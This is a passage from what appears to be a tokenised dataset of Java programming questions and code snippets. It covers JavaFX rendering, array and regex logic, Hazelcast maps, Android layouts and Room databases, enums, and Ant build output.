com.sun.prism.es2.X11GLFactory.nInitialize ( [ I ) J at com.sun.prism.es2.X11GLFactory.nInitialize ( Native Method ) at com.sun.prism.es2.X11GLFactory.initialize ( X11GLFactory.java:146 ) at com.sun.prism.es2.ES2Pipeline. < clinit > ( ES2Pipeline.java:81 ) at java.lang.Class.forName0 ( Native Method ) at java.lang.Class.forName ( Class.java:264 ) at com.sun.prism.GraphicsPipeline.createPipeline ( GraphicsPipeline.java:187 ) at com.sun.javafx.tk.quantum.QuantumRenderer $ PipelineRunnable.init ( QuantumRenderer.java:91 ) at com.sun.javafx.tk.quantum.QuantumRenderer $ PipelineRunnable.run ( QuantumRenderer.java:124 ) at java.lang.Thread.run ( Thread.java:748 ) *** Fallback to Prism SW pipelinePrism pipeline name = com.sun.prism.sw.SWPipeline ( X ) Got class = class com.sun.prism.sw.SWPipelineInitialized prism pipeline : com.sun.prism.sw.SWPipeline vsync : true vpipe : falselip 19 , 2019 3:31:53 AM javafx.scene.paint.Material < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:53 AM javafx.scene.shape.Shape3D < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:53 AM javafx.scene.shape.Shape3D < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:53 AM javafx.scene.shape.Shape3D < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:53 AM javafx.scene.shape.Shape3D < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:53 AM javafx.scene.shape.Shape3D < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:53 AM javafx.scene.PerspectiveCamera < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:53 AM javafx.scene.LightBase < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:54 AM javafx.scene.shape.Mesh < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:54 AM javafx.scene.shape.Shape3D < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:54 AM javafx.scene.paint.Material < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:54 AM javafx.scene.SubScene < init > WARNING : System ca n't support ConditionalFeature.SCENE3Dlip 19 , 2019 3:31:54 AM javafx.scene.SubScene < init > WARNING : System ca n't support antiAliasing Prism pipeline init order : es2 sw Using java-based Pisces rasterizerUsing dirty region optimizationsNot using texture mask for primitivesNot forcing power of 2 sizes for texturesUsing hardware CLAMP_TO_ZERO modeOpting in for HiDPI pixel scalingPrism pipeline name = com.sun.prism.es2.ES2PipelineLoading ES2 native library ... prism_es2 succeeded.GLFactory using com.sun.prism.es2.X11GLFactory ( X ) Got class = class com.sun.prism.es2.ES2PipelineInitialized prism pipeline : com.sun.prism.es2.ES2PipelineMaximum supported texture size : 8192Maximum texture size clamped to 4096Non power of two texture support = trueMaximum number of vertex attributes = 16Maximum number of uniform vertex components = 16384Maximum number of uniform fragment components = 16384Maximum number of varying components = 128Maximum number of texture units usable in a vertex shader = 32Maximum number of texture units usable in a fragment shader = 32Graphics Vendor : VMware , Inc. Renderer : Gallium 0.4 on llvmpipe ( LLVM 3.9 , 128 bits ) Version : 3.0 Mesa 13.0.6 vsync : true vpipe : trueES2ResourceFactory : Prism - createStockShader : Solid_LinearGradient_REFLECT.fraglip 19 , 2019 13:03:04 PM javafx.fxml.FXMLLoader $ ValueElement processValueWARNING : Loading FXML document with JavaFX API of version 9.0.1 by JavaFX runtime of version 8.0.111ES2ResourceFactory : Prism - createStockShader : FillPgram_Color.fragES2ResourceFactory : Prism - createStockShader : Solid_TextureRGB.fragPPSRenderer : scenario.effect - createShader : Blend_SRC_INnew alphasES2ResourceFactory : Prism - createStockShader : Texture_Color.fragQuantumRenderer : shutdown","Why JavaFX ( 3D ) on Raspberry Pi does n't work , although it should ?" +Java,I am trying to find the counts for negative numbers in a 2d-array ( square- matix ) . In matrix if you go from up to down and left to write number increases . Logic here is to start from last column and proceed to the left . If you find the neg num then increase the row index and proceed the same way till the last row . I am getting the error in java code but not in python.I am getting this outputWhat is wrong with this code ? the same thing worked in python ...,"public class O_n { public static void main ( String [ ] args ) { int firstarray [ ] [ ] = { { -2 , -1,0 } , { -1,0,1 } , { 0,1,2 } } ; int secondarray [ ] [ ] = { { -4 , -3 , -2 } , { -3 , -2 , -1 } , { -2 , -1,0 } } ; System.out.print ( `` First array has '' +count_neg ( firstarray ) ) ; System.out.println ( `` negative numbers '' ) ; System.out.print ( `` Second array has '' +count_neg ( secondarray ) ) ; System.out.println ( `` negative numbers '' ) ; } public static int count_neg ( int x [ ] [ ] ) { int count = 0 ; int i = 0 ; //rows int j = x.length - 1 ; //columns System.out.println ( `` max column index is : `` +j ) ; while ( i > =0 & & j < x.length ) { if ( x [ i ] [ j ] < 0 ) { // negative number count += ( j + 1 ) ; // since j is an index ... so j + 1 i += 1 ; } else { // positive number j -= 1 ; } } return ( count ) ; } } max column index is : 2Exception in thread `` main '' java.lang.ArrayIndexOutOfBoundsException : -1 at O_n.count_neg ( O_n.java:22 ) at O_n.main ( O_n.java:9 ) /home/eos/.cache/netbeans/8.1/executor-snippets/run.xml:53 : Java returned : 1BUILD FAILED ( total time : 0 seconds ) def count_neg ( array ) : count = 0 i = 0 # row j = len ( array ) -1 # col # since we are starting from right side while j > = 0 and i < len ( array ) : if array [ i ] [ j ] < 0 : count += ( j + 1 ) i += 1 else : j -= 1 return countprint ( count_neg ( [ [ -4 , -3 , -1,1 ] , [ -2 , -2,1,2 ] , [ -1,1,2,3 ] , [ 1,2,4,5 ] ] ) )",counting negative numbers in array +Java,"I am trying to place a -between all odd numbers in a string . So if a string is passed in as Hel776o it should output Hel7-76o . Dashes should only be placed between two consecutive odd numbers.I am trying to do this in one line via String.replaceAll ( ) I have the following line : If any odd number , followed by an odd number place a - between them . But it 's destructively replacing everything except for the last match.Eg if I pass in `` 999477 '' it will output 7-7 instead of9-9-947-7 . Are more groupings needed so I do n't replace everything except the matches ? I already did this with a traditional loop through each char in string but wanted to do it in a one-liner with regex replace.Edit : I should say I meant return str.replaceAll ( `` .* ( [ 13579 ] ) ( [ 13579 ] ) . * '' , '' $ 0- $ 1 '' ) ; and not $ 1 and $ 2","return str.replaceAll ( `` .* ( [ 13579 ] ) ( [ 13579 ] ) . * '' , '' $ 1- $ 2 '' ) ;",Java place a `` - '' between odd numbers in a string using regex +Java,"I have the classes BinaryTreeNode ( int value ) with its left and right child and BinaryTree ( int rootVal ) with BinaryTreeNode root with rootVal as its value . I developed a code to calculate the number of nodes in the tree ( in class BinaryTreeNode ) , but it does n't work because of a NullPointerException : However another solution I found , with a similar strategy , works : I have understood why my code throws an exception ( it is because left/right would point to null ) .But I would like to understand why the second solution works with quasi the same principle.Thank you in advance !",public int size ( ) { if ( this == null ) { // base case return 0 ; } else { return 1 + left.size ( ) + right.size ( ) ; } } public int size ( BinaryTreeNode refNode ) { if ( refNode == null ) { // base case return 0 ; } else { return 1 + size ( refNode.left ) + size ( refNode.right ) ; } },Determine size of Integer Binary Tree via recursion +Java,"My Hazelcast-based program can work in two modes : submitter and worker . Submitter puts some POJO to the distributed map by some key , e.g . : hazelcastInstance.getMap ( MAP_NAME ) .put ( key , value ) ; Worker has an infinite loop ( with Thread.sleep ( 1000L ) ; inside for timeout ) which must process entities from map . For now I 'm just printing the map size in this loop.Now here 's the problem . I start worker app . Then I start four submitters simultaneously ( each adds an entry to the map and terminates it 's work ) . But after all submitter apps are done , the worker app prints arbitrary size : sometimes it detects that only one entry was added , sometimes two , sometimes three ( actually it never has seen all four entries ) .What is the problem with this simple flow ? I 've read in Hazelcast docs that put ( ) method is synchronous , so it guarantees that after it returns , entry is placed to distributed map and is replicated . But it does n't seem so in my experiment.UPD ( code ) Submitter : Worker : I commented out `` processing '' part itself , because now I 'm just trying to get consistent state of the map . The code above prints different results each time , e.g . : `` 4 , 3 , 1 , 1 , 1 , 1 , 1 ... '' ( so it can even see 4 submitted tasks for a moment , but then they ... disappear ) .UPD ( log ) Worker : Submitter 1 : Submitter 2 : Submitter 3 : Submitter 4 :","public void submit ( String key ) { Object mySerializableObject = ... IMap < String , Object > map = hazelcastInstance.getMap ( MAP_NAME ) ; map.putIfAbsent ( key , mySerializableObject , TASK_TTL_IN_HOURS , TimeUnit.HOURS ) ; } public void process ( ) { while ( true ) { IMap < String , Object > map = hazelcastInstance.getMap ( MAP_NAME ) ; System.out.println ( map.size ( ) ) ; // Optional < Map.Entry < String , Object > > objectToProcess = getObjectToProcess ( ) ; // objectToProcess.ifPresent ( objectToProcess- > processObject ( id , objectToProcess ) ) ; try { Thread.sleep ( PAUSE ) ; } catch ( InterruptedException e ) { LOGGER.error ( e.getMessage ( ) , e ) ; } } } ... tasksMap.size ( ) = 0tasksMap.size ( ) = 0tasksMap.size ( ) = 0tasksMap.size ( ) = 0tasksMap.size ( ) = 1tasksMap.size ( ) = 2tasksMap.size ( ) = 2tasksMap.size ( ) = 2tasksMap.size ( ) = 2tasksMap.size ( ) = 2 ... Before : tasksMap.size ( ) = 0After : tasksMap.size ( ) = 1 Before : tasksMap.size ( ) = 1After : tasksMap.size ( ) = 4 Before : tasksMap.size ( ) = 1After : tasksMap.size ( ) = 2 Before : tasksMap.size ( ) = 3After : tasksMap.size ( ) = 4",Weird Hazelcat IMap # put ( ) behaviour +Java,"The following code on api 21 shows the outline of a rectangle with a black border of 1 px width : However , on api 16 I 'm seeing a solid black rectangle . Why is this and is there a workaround ? Edit : in the logcat I 'm seeing continuous messages of :","< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < shape xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : shape= '' rectangle '' > < stroke android : width= '' 1dp '' android : color= '' # 000000 '' / > < size android : width= '' 300dp '' android : height= '' 50dp '' / > < /shape > HardwareRenderer﹕ draw surface is valid dirty= Rect ( 107 , 214 - 109 , 251 )",Android : api 16 draws outline of rectangle as filled rectangle +Java,"I am trying to make an Activity which will hold all the recents screen in my app not in the android device.The idea it is to create the recents view like in android.I do not have for the moment an idea how to do that . I have searched in the official site of android but did n't get what I want.I have some activities which there is declared WebView and I want to take title , url and the view of that Url and to save to show at VisualHistory.The design I am able to do I have achieved but I do not know how to show the recents screen or views.The color of the background should based from url.If someone do n't understand something let me know.Below you can find a photo which will show what I am trying to do , I have copied this photo from another app.I have planned these steps to follow to achieve that.In the Pojo.class and in db it is not defined the image which will be shown in the cardview because I do not know how to achieve that.I want the background which for the moment in blue to be depended from the url color . Is it any way to get the color of the url ? Create a POJO.classCreate a DB which will hold this dataCreate an AdapterCreate a FragmentI have a Log here which shows me the items . [ VisualHistoryItem { id=109 , title='Wikipedia , the free encyclopedia ' , url='https : //en.m.wikipedia.org/w/index.php ? title=Main_Page ' } , VisualHistoryItem { id=112 , title= '' , url='https : //mail.google.com/ ' } , VisualHistoryItem { id=113 , title='Gmail – kostenloser Speicherplatz und E-Mails von Google ' , url='https : //www.google.com/intl/de/gmail/about/ # ' } ] This saves a visual history item.I have created an Activity code is below.And this is the XML for this Activity.This is another FragmentHere will show of the listThis is the XML.This is the room dbThe room db DaoThis is the pojo.classAnd this is the Adapter.This is what I am trying to achieve.This is my actual view .","mVisualHistory.setUrl ( url ) ; mVisualHistory.setTitle ( view.getTitle ( ) ) ; Bitmap topass= getSnapshoot.takeScreenShot ( BookmarkActivity.this ) ; try { String filename = mVisualHistory.getId ( ) + '' .png '' ; FileOutputStream stream = BookmarkActivity.this.openFileOutput ( filename , Context.MODE_PRIVATE ) ; topass.compress ( Bitmap.CompressFormat.PNG , 100 , stream ) ; stream.close ( ) ; topass.recycle ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } mVisualRepository.insertNoteTask ( mVisualHistory ) ; public class ActivityTabs extends AppCompatActivity implements View.OnClickListener { private PopupMenu mPopupMenu ; private FrameLayout settings ; private FrameLayout frameLayout ; private LinearLayout linearLayout ; private ImageView incognito ; private TextView textOfHistory ; @ RequiresApi ( api = Build.VERSION_CODES.LOLLIPOP ) protected void onCreate ( @ Nullable Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_tabs ) ; findViewById ( R.id.vgGoMain ) .setOnClickListener ( this ) ; findViewById ( R.id.vgAdd ) .setOnClickListener ( this ) ; settings = findViewById ( R.id.vgSettingsHis ) ; linearLayout = findViewById ( R.id.layoutEmptyVisHistory ) ; settings.setOnClickListener ( this ) ; textOfHistory = findViewById ( R.id.tvEmptyHistory ) ; FragmentVisualHistoryVertical newFragment = new FragmentVisualHistoryVertical ( ) ; getSupportFragmentManager ( ) .beginTransaction ( ) .add ( R.id.frameLayoutVisHistory , newFragment ) .commit ( ) ; getSupportFragmentManager ( ) .beginTransaction ( ) .replace ( R.id.frameLayoutVisHistory , newFragment ) .commit ( ) ; @ Override public void onClick ( View v ) { switch ( v.getId ( ) ) { case R.id.vgGoMain : finish ( ) ; return ; case R.id.vgAdd : Intent intent = new Intent ( this , ActivitySearchEngine.class ) ; startActivity ( intent ) ; finish ( ) ; return ; case R.id.vgSettingsHis : showMenuSettings ( ) ; return ; default : break ; } } public void showMenuSettings ( ) { mPopupMenu = new PopupMenu ( this , settings ) ; final MenuInflater menuInflater = mPopupMenu.getMenuInflater ( ) ; menuInflater.inflate ( R.menu.history_settings , mPopupMenu.getMenu ( ) ) ; mPopupMenu.show ( ) ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : background= '' @ color/historyEmptyBack '' android : gravity= '' center_horizontal '' android : orientation= '' vertical '' > < FrameLayout android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' > < FrameLayout android : id= '' @ +id/frameLayoutVisHistory '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : paddingBottom= '' @ dimen/bottomPanelHeight '' > < /FrameLayout > < LinearLayout android : id= '' @ +id/layoutEmptyVisHistory '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : orientation= '' vertical '' android : visibility= '' gone '' > < TextView android : id= '' @ +id/tvEmptyHistoryTitle '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_gravity= '' center_horizontal '' android : layout_marginTop= '' @ dimen/common_24dp '' android : gravity= '' center_horizontal '' android : lineSpacingExtra= '' 3.0sp '' android : text= '' @ string/VHVEmptyTite '' android : textColor= '' @ color/historyEmptyTitle '' android : textSize= '' 22.0sp '' / > < FrameLayout android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : layout_marginBottom= '' 48.0dip '' android : layout_weight= '' 1.0 '' > < LinearLayout android : id= '' @ +id/horizontalEmpty '' style= '' @ style/LayoutEmptySmile '' android : layout_width= '' @ dimen/visual_history_element_width '' android : layout_height= '' @ dimen/visual_history_element_height '' android : orientation= '' vertical '' > < ImageView style= '' @ style/EmptyHistorySmile '' android : src= '' @ drawable/vh_smile_gray '' / > < TextView style= '' @ style/EmptyHistoryText '' android : layout_marginTop= '' @ dimen/common_16dp '' android : gravity= '' center_horizontal '' android : paddingLeft= '' @ dimen/common_16dp '' android : paddingRight= '' @ dimen/common_16dp '' android : text= '' @ string/VHVEmptyDesc '' / > < /LinearLayout > < LinearLayout android : id= '' @ +id/verticalEmpty '' style= '' @ style/LayoutEmptySmile '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_gravity= '' center '' android : layout_marginLeft= '' @ dimen/common_24dp '' android : layout_marginRight= '' @ dimen/common_24dp '' android : orientation= '' horizontal '' android : paddingLeft= '' @ dimen/common_16dp '' android : paddingTop= '' @ dimen/common_16dp '' android : paddingRight= '' @ dimen/common_16dp '' android : paddingBottom= '' @ dimen/common_16dp '' > < ImageView style= '' @ style/EmptyHistorySmile '' android : src= '' @ drawable/vh_smile_gray '' / > < TextView style= '' @ style/EmptyHistoryText '' android : layout_width= '' wrap_content '' android : gravity= '' left '' android : paddingLeft= '' @ dimen/common_16dp '' android : text= '' @ string/VHVEmptyDesc '' / > < /LinearLayout > < LinearLayout android : id= '' @ +id/layoutIncognito '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : orientation= '' vertical '' android : paddingBottom= '' @ dimen/bottomPanelHeight '' android : visibility= '' visible '' > < LinearLayout android : id= '' @ +id/layoutEmptyDesc '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : layout_marginTop= '' @ dimen/common_16dp '' android : gravity= '' center '' android : orientation= '' vertical '' > < ImageView android : id= '' @ +id/ivEmptyHistory '' android : layout_width= '' @ dimen/history_private '' android : layout_height= '' @ dimen/history_private '' android : src= '' @ drawable/incognito_icon_history '' / > < TextView android : id= '' @ +id/tvEmptyHistory '' style= '' @ style/EmptyHistoryText '' android : layout_marginTop= '' @ dimen/common_16dp '' android : gravity= '' center_horizontal '' android : paddingLeft= '' @ dimen/common_16dp '' android : paddingRight= '' @ dimen/common_16dp '' android : text= '' @ string/SVSearchPrivateMode '' android : textColor= '' @ color/historyTextColor '' android : textSize= '' @ dimen/common_18sp '' / > < /LinearLayout > < /LinearLayout > < /FrameLayout > < /LinearLayout > < LinearLayout android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_gravity= '' bottom '' android : background= '' @ color/historyEmptyBack '' android : gravity= '' bottom '' android : orientation= '' vertical '' android : paddingLeft= '' 2.0dip '' android : paddingRight= '' 2.0dip '' > < LinearLayout android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : gravity= '' center_vertical '' android : orientation= '' horizontal '' > < LinearLayout style= '' @ style/VisHistoryMenuSideLayout '' > < FrameLayout android : id= '' @ +id/vgGoMain '' style= '' @ style/VisHistoryFrLayoutMenu '' android : paddingRight= '' 14.0dip '' > < TextView style= '' @ style/VisHistoryTvMenu '' android : text= '' @ string/VHVHomeBarButtonItemTitle '' / > < /FrameLayout > < View style= '' @ style/VisHistoryEmptyView '' / > < /LinearLayout > < FrameLayout android : id= '' @ +id/vgAdd '' style= '' @ style/VisHistoryFrLayoutMenu '' > < ImageView style= '' @ style/VisHistoryMenuIv '' android : scaleX= '' 0.8 '' android : scaleY= '' 0.8 '' android : src= '' @ drawable/newtab_button '' / > < /FrameLayout > < LinearLayout style= '' @ style/VisHistoryMenuSideLayout '' > < View style= '' @ style/VisHistoryEmptyView '' / > < FrameLayout android : id= '' @ +id/vgTrash '' style= '' @ style/VisHistoryFrLayoutMenu '' > < ImageView style= '' @ style/VisHistoryMenuIv '' android : scaleX= '' 1.3 '' android : scaleY= '' 1.3 '' android : src= '' @ drawable/trash '' / > < /FrameLayout > < View style= '' @ style/VisHistoryEmptyView '' / > < FrameLayout android : id= '' @ +id/vgSettingsHis '' style= '' @ style/VisHistoryFrLayoutMenu '' android : paddingLeft= '' 0.0dip '' android : paddingRight= '' 0.0dip '' > < android.support.v7.widget.AppCompatImageView style= '' @ style/VisHistoryMenuIv '' android : layout_gravity= '' right '' app : srcCompat= '' @ drawable/ic_dots_vertical '' tools : ignore= '' VectorDrawableCompat '' / > < /FrameLayout > < /LinearLayout > < /LinearLayout > < /LinearLayout > < /FrameLayout > < /LinearLayout > public class FragmentVisualHistoryVertical extends FragmentVisualHistory implements VisualRecyclerAdapter.OnVisualHistoryItemListener { public View paramView ; private VisualRecyclerAdapter mVisualHistoryRecyclerAdapter ; private RecyclerView mRecyclerView ; private VisualHistoryRepository getmNoteRepository ; private ArrayList < VisualHistoryItem > mVisualHistoryItems = new ArrayList < > ( ) ; @ Override public void onAttach ( Context context ) { super.onAttach ( context ) ; mContext = context ; } @ Nullable @ Override public View onCreateView ( @ NonNull LayoutInflater inflater , @ Nullable ViewGroup container , @ Nullable Bundle savedInstanceState ) { paramView = inflater.inflate ( R.layout.fragment_vis_history_vertical , container , false ) ; mRecyclerView = paramView.findViewById ( R.id.rvWebHistory ) ; initRecyclerView ( ) ; getmNoteRepository = new VisualHistoryRepository ( getActivity ( ) ) ; retrieveVisualHistory ( ) ; return paramView ; } private void initRecyclerView ( ) { LinearLayoutManager linearLayoutManager = new LinearLayoutManager ( getActivity ( ) ) ; mRecyclerView.setLayoutManager ( linearLayoutManager ) ; linearLayoutManager.setReverseLayout ( true ) ; new ItemTouchHelper ( itemTouchHelperCallback ) .attachToRecyclerView ( mRecyclerView ) ; mVisualHistoryRecyclerAdapter = new VisualRecyclerAdapter ( mVisualHistoryItems , this , mContext ) ; DividerItemDecoration dividerItemDecoration = new DividerItemDecoration ( mRecyclerView.getContext ( ) , linearLayoutManager.getOrientation ( ) ) ; mRecyclerView.addItemDecoration ( dividerItemDecoration ) ; mRecyclerView.setAdapter ( mVisualHistoryRecyclerAdapter ) ; } private void retrieveVisualHistory ( ) { getmNoteRepository.retrieveVisualHistoryTask ( ) .observe ( this , new Observer < List < VisualHistoryItem > > ( ) { @ Override public void onChanged ( @ Nullable List < VisualHistoryItem > item ) { if ( mVisualHistoryItems.size ( ) > 0 ) { mVisualHistoryItems.clear ( ) ; } if ( item ! = null ) { mVisualHistoryItems.addAll ( item ) ; } mVisualHistoryRecyclerAdapter.notifyDataSetChanged ( ) ; } } ) ; } @ Override public void onItemClicked ( int position ) { } private void deleteNote ( VisualHistoryItem item ) { mVisualHistoryItems.remove ( item ) ; mVisualHistoryRecyclerAdapter.notifyDataSetChanged ( ) ; getmNoteRepository.deleteVisualHistoryTask ( item ) ; } ItemTouchHelper.SimpleCallback itemTouchHelperCallback = new ItemTouchHelper.SimpleCallback ( 0 , ItemTouchHelper.RIGHT ) { @ Override public boolean onMove ( RecyclerView recyclerView , RecyclerView.ViewHolder viewHolder , RecyclerView.ViewHolder target ) { return false ; } @ Override public void onSwiped ( RecyclerView.ViewHolder viewHolder , int direction ) { deleteNote ( mVisualHistoryItems.get ( viewHolder.getAdapterPosition ( ) ) ) ; } } ; } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < android.support.v7.widget.RecyclerView xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : aapt= '' http : //schemas.android.com/aapt '' android : id= '' @ +id/rvWebHistory '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' / > @ Database ( entities = { VisualHistoryItem.class } , version = 1 ) public abstract class VisualHistoryDB extends RoomDatabase { private static final String DATABASE_NAME = `` visualHistory_db '' ; private static VisualHistoryDB instance ; public static VisualHistoryDB getInstance ( final Context context ) { if ( instance == null ) { instance = Room.databaseBuilder ( context.getApplicationContext ( ) , VisualHistoryDB.class , DATABASE_NAME ) .build ( ) ; } return instance ; } public abstract VisualHistoryDao getVisualHistoryDao ( ) ; } @ Daopublic interface VisualHistoryDao { @ Insertlong [ ] insertVisualHistory ( VisualHistoryItem ... visualHistoryItems ) ; @ Query ( `` SELECT * FROM visualHistory '' ) LiveData < List < VisualHistoryItem > > getVisualHistory ( ) ; @ Deleteint delete ( VisualHistoryItem ... visualHistoryItems ) ; } @ Entity ( tableName = `` visualHistory '' ) public class VisualHistoryItem implements Parcelable { @ PrimaryKey ( autoGenerate = true ) private int id ; @ ColumnInfo ( name = `` title '' ) private String title ; @ ColumnInfo ( name = `` url '' ) private String url ; public VisualHistoryItem ( int id , String title , String url ) { this.id = id ; this.title = title ; this.url = url ; } @ Ignorepublic VisualHistoryItem ( ) { } protected VisualHistoryItem ( Parcel in ) { id = in.readInt ( ) ; title = in.readString ( ) ; url = in.readString ( ) ; } public static final Creator < VisualHistoryItem > CREATOR = new Creator < VisualHistoryItem > ( ) { @ Override public VisualHistoryItem createFromParcel ( Parcel in ) { return new VisualHistoryItem ( in ) ; } @ Override public VisualHistoryItem [ ] newArray ( int size ) { return new VisualHistoryItem [ size ] ; } } ; public int getId ( ) { return id ; } public void setId ( int id ) { this.id = id ; } public String getTitle ( ) { return title ; } public void setTitle ( String title ) { this.title = title ; } public String getUrl ( ) { return url ; } public void setUrl ( String url ) { this.url = url ; } @ Overridepublic String toString ( ) { return `` VisualHistoryItem { `` + `` id= '' + id + `` , title= ' '' + title + '\ '' + `` , url= ' '' + url + '\ '' + ' } ' ; } @ Overridepublic int describeContents ( ) { return 0 ; } @ Overridepublic void writeToParcel ( Parcel parcel , int flags ) { parcel.writeInt ( id ) ; parcel.writeString ( title ) ; parcel.writeString ( url ) ; } } public class VisualRecyclerAdapter extends RecyclerView.Adapter < VisualRecyclerAdapter.ViewHolder > { private ArrayList < VisualHistoryItem > mVisualHistoryItem = new ArrayList < > ( ) ; private OnVisualHistoryItemListener mItemListener ; private final Context context ; public VisualRecyclerAdapter ( ArrayList < VisualHistoryItem > mVisualHistoryItem , OnVisualHistoryItemListener mItemListener , Context context ) { this.context = context ; this.mVisualHistoryItem = mVisualHistoryItem ; this.mItemListener = mItemListener ; } @ NonNull @ Override public ViewHolder onCreateViewHolder ( @ NonNull ViewGroup viewGroup , int i ) { View view = LayoutInflater.from ( viewGroup.getContext ( ) ) .inflate ( R.layout.fragment_visual_history , viewGroup , false ) ; return new ViewHolder ( view , mItemListener ) ; } @ Override public void onBindViewHolder ( @ NonNull ViewHolder viewHolder , int i ) { Resources res = viewHolder.itemView.getContext ( ) .getResources ( ) ; viewHolder.visFragmentMain.setBackgroundColor ( res.getColor ( R.color.blue_text ) ) ; viewHolder.tvPageUrl.setText ( mVisualHistoryItem.get ( i ) .getUrl ( ) ) ; viewHolder.tvPageName.setText ( mVisualHistoryItem.get ( i ) .getTitle ( ) ) ; Bitmap bmp = null ; String filename = mVisualHistoryItem.get ( i ) .getId ( ) + '' .png '' ; try { FileInputStream is = context.openFileInput ( filename ) ; bmp = BitmapFactory.decodeStream ( is ) ; is.close ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } if ( bmp ! =null ) { BitmapDrawable ob = new BitmapDrawable ( context.getResources ( ) , bmp ) ; viewHolder.ivVisualHistory.setBackground ( ob ) ; } } @ Override public int getItemCount ( ) { return mVisualHistoryItem.size ( ) ; } public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener { ImageView ivVisualHistory ; OnVisualHistoryItemListener itemListener ; TextView tvPageName , tvPageUrl ; RelativeLayout visFragmentMain ; CardView cardView ; public ViewHolder ( @ NonNull View itemView , OnVisualHistoryItemListener mItemListener ) { super ( itemView ) ; itemListener = mItemListener ; ivVisualHistory = itemView.findViewById ( R.id.ivVisualHistory ) ; visFragmentMain = itemView.findViewById ( R.id.visFragmentMain ) ; tvPageName = itemView.findViewById ( R.id.tvPageName ) ; tvPageUrl = itemView.findViewById ( R.id.tvPageUrl ) ; cardView = itemView.findViewById ( R.id.cardView ) ; } @ Override public void onClick ( View v ) { itemListener.onItemClicked ( getAdapterPosition ( ) ) ; } } public interface OnVisualHistoryItemListener { void onItemClicked ( int position ) ; } }",Is it possible to create a recents screen like in android for the activities of my app +Java,"I 'm trying to implement something in a semi-efficient manner . In my program , I have an enumerator representing metrics that are used to pass information around in the program.I have a class that lets me `` compose '' these metrics into a single object so I can essentially create a `` sentence '' to give me complex information without having to do any complex parsing of information . They 're essentially bit flags , but since I 'm using an enum , I can have more than just 64 of them.The problem is that if I 'm instantiating instances of this container class a lot , and I go to create an array like so : I feel like creating an array of the enumerated values so often just to request its size is wasteful . I 'm wondering if it 's possible to just define the size of the enumerated values ( ) in a static context so it 's a constant value I do n't have to recalculate : Can I do this ? Or would the compiler not have defined the enumerated values before it declares this static variable ? I know this is n't the best explanation of my question , but I 'm not sure how else to word it.I know the static variable will be determined at runtime ( unless the value assigned to it were a literal value ) , so would the program be able to request the members of the Metrics enum at this point in execution ?",metrics = new boolean [ Metrics.values ( ) .length ] ; private static final int METRIC_COUNT = Metrics.values ( ) .length ;,When are enum values defined ? +Java,"I have came across many situation where I needed to pass value to an other thread and I founded out that I could do it this way , but I have been wondering how is it working ? Edit : Just realise my question was n't exactly pointing toward what I wanted to know . It 's more `` how '' it works rather then `` why '' .",public void method ( ) { final EventHandler handle = someReference ; Thread thread = new Thread ( ) { public void run ( ) { handle.onEvent ( ) ; } } ; thread.start ( ) ; },What exactly happens when you have final values and inner classes in a method ? +Java,"Possible Duplicate : Java += operator Code example : So why does f+=d not produce an error ( not even at runtime ) , although this would decrease the accuracy of d ?","double d = 1 ; float f = 2 ; f += d ; // no error ? f = f+d ; // type mismatch error , should be f = ( float ) ( f+d ) ;",Primitives float and double : why does f+=d not result in Type Mismatch Error ? +Java,"I have an array list that contains all the arguments a constructor needs . Referring to each item in the array and then providing the arguments separately seems like a lot of work . I 'm wondering whether I can pass each item in the array list by iterating through it inside the brackets of the constructor . I 'm asking if I can do this , or something similar to pass the arguments.parts is the array list here . And all the items in the list are strings .",constructor object =new constructor ( for ( String item : parts ) ) ;,Can I pass a loop as the arguments into a constructor +Java,I 'm attempting to speed up the execution time using scala parallelism.So to convert a java ArrayList to an immutable one I use : and then to take advantage of multiple cores when iterating I use : Am I taking advantage of scala parallelism in the correct way ? In this case iterating over a list . Is there a large performance hit on asScalaBuffer ?,var imList = scala.collection.JavaConversions.asScalaBuffer ( normalQLFolderList ) for ( i < - imList .par ) { },Using scala parallelism when iterating over a java converted List to immutable +Java,"A stupid question , but I could n't find an answer anywhere.Currently learning Apache Ant and I started by making a very basic build file and java project that prints a line of string to the console . This is what is outputted when I used the command ant compile jar runIs there a way to remove the ' [ java ] ' tags that are being printed alongside the program output ?","PS C : \Users\zayd\Desktop\Apps\pbox > 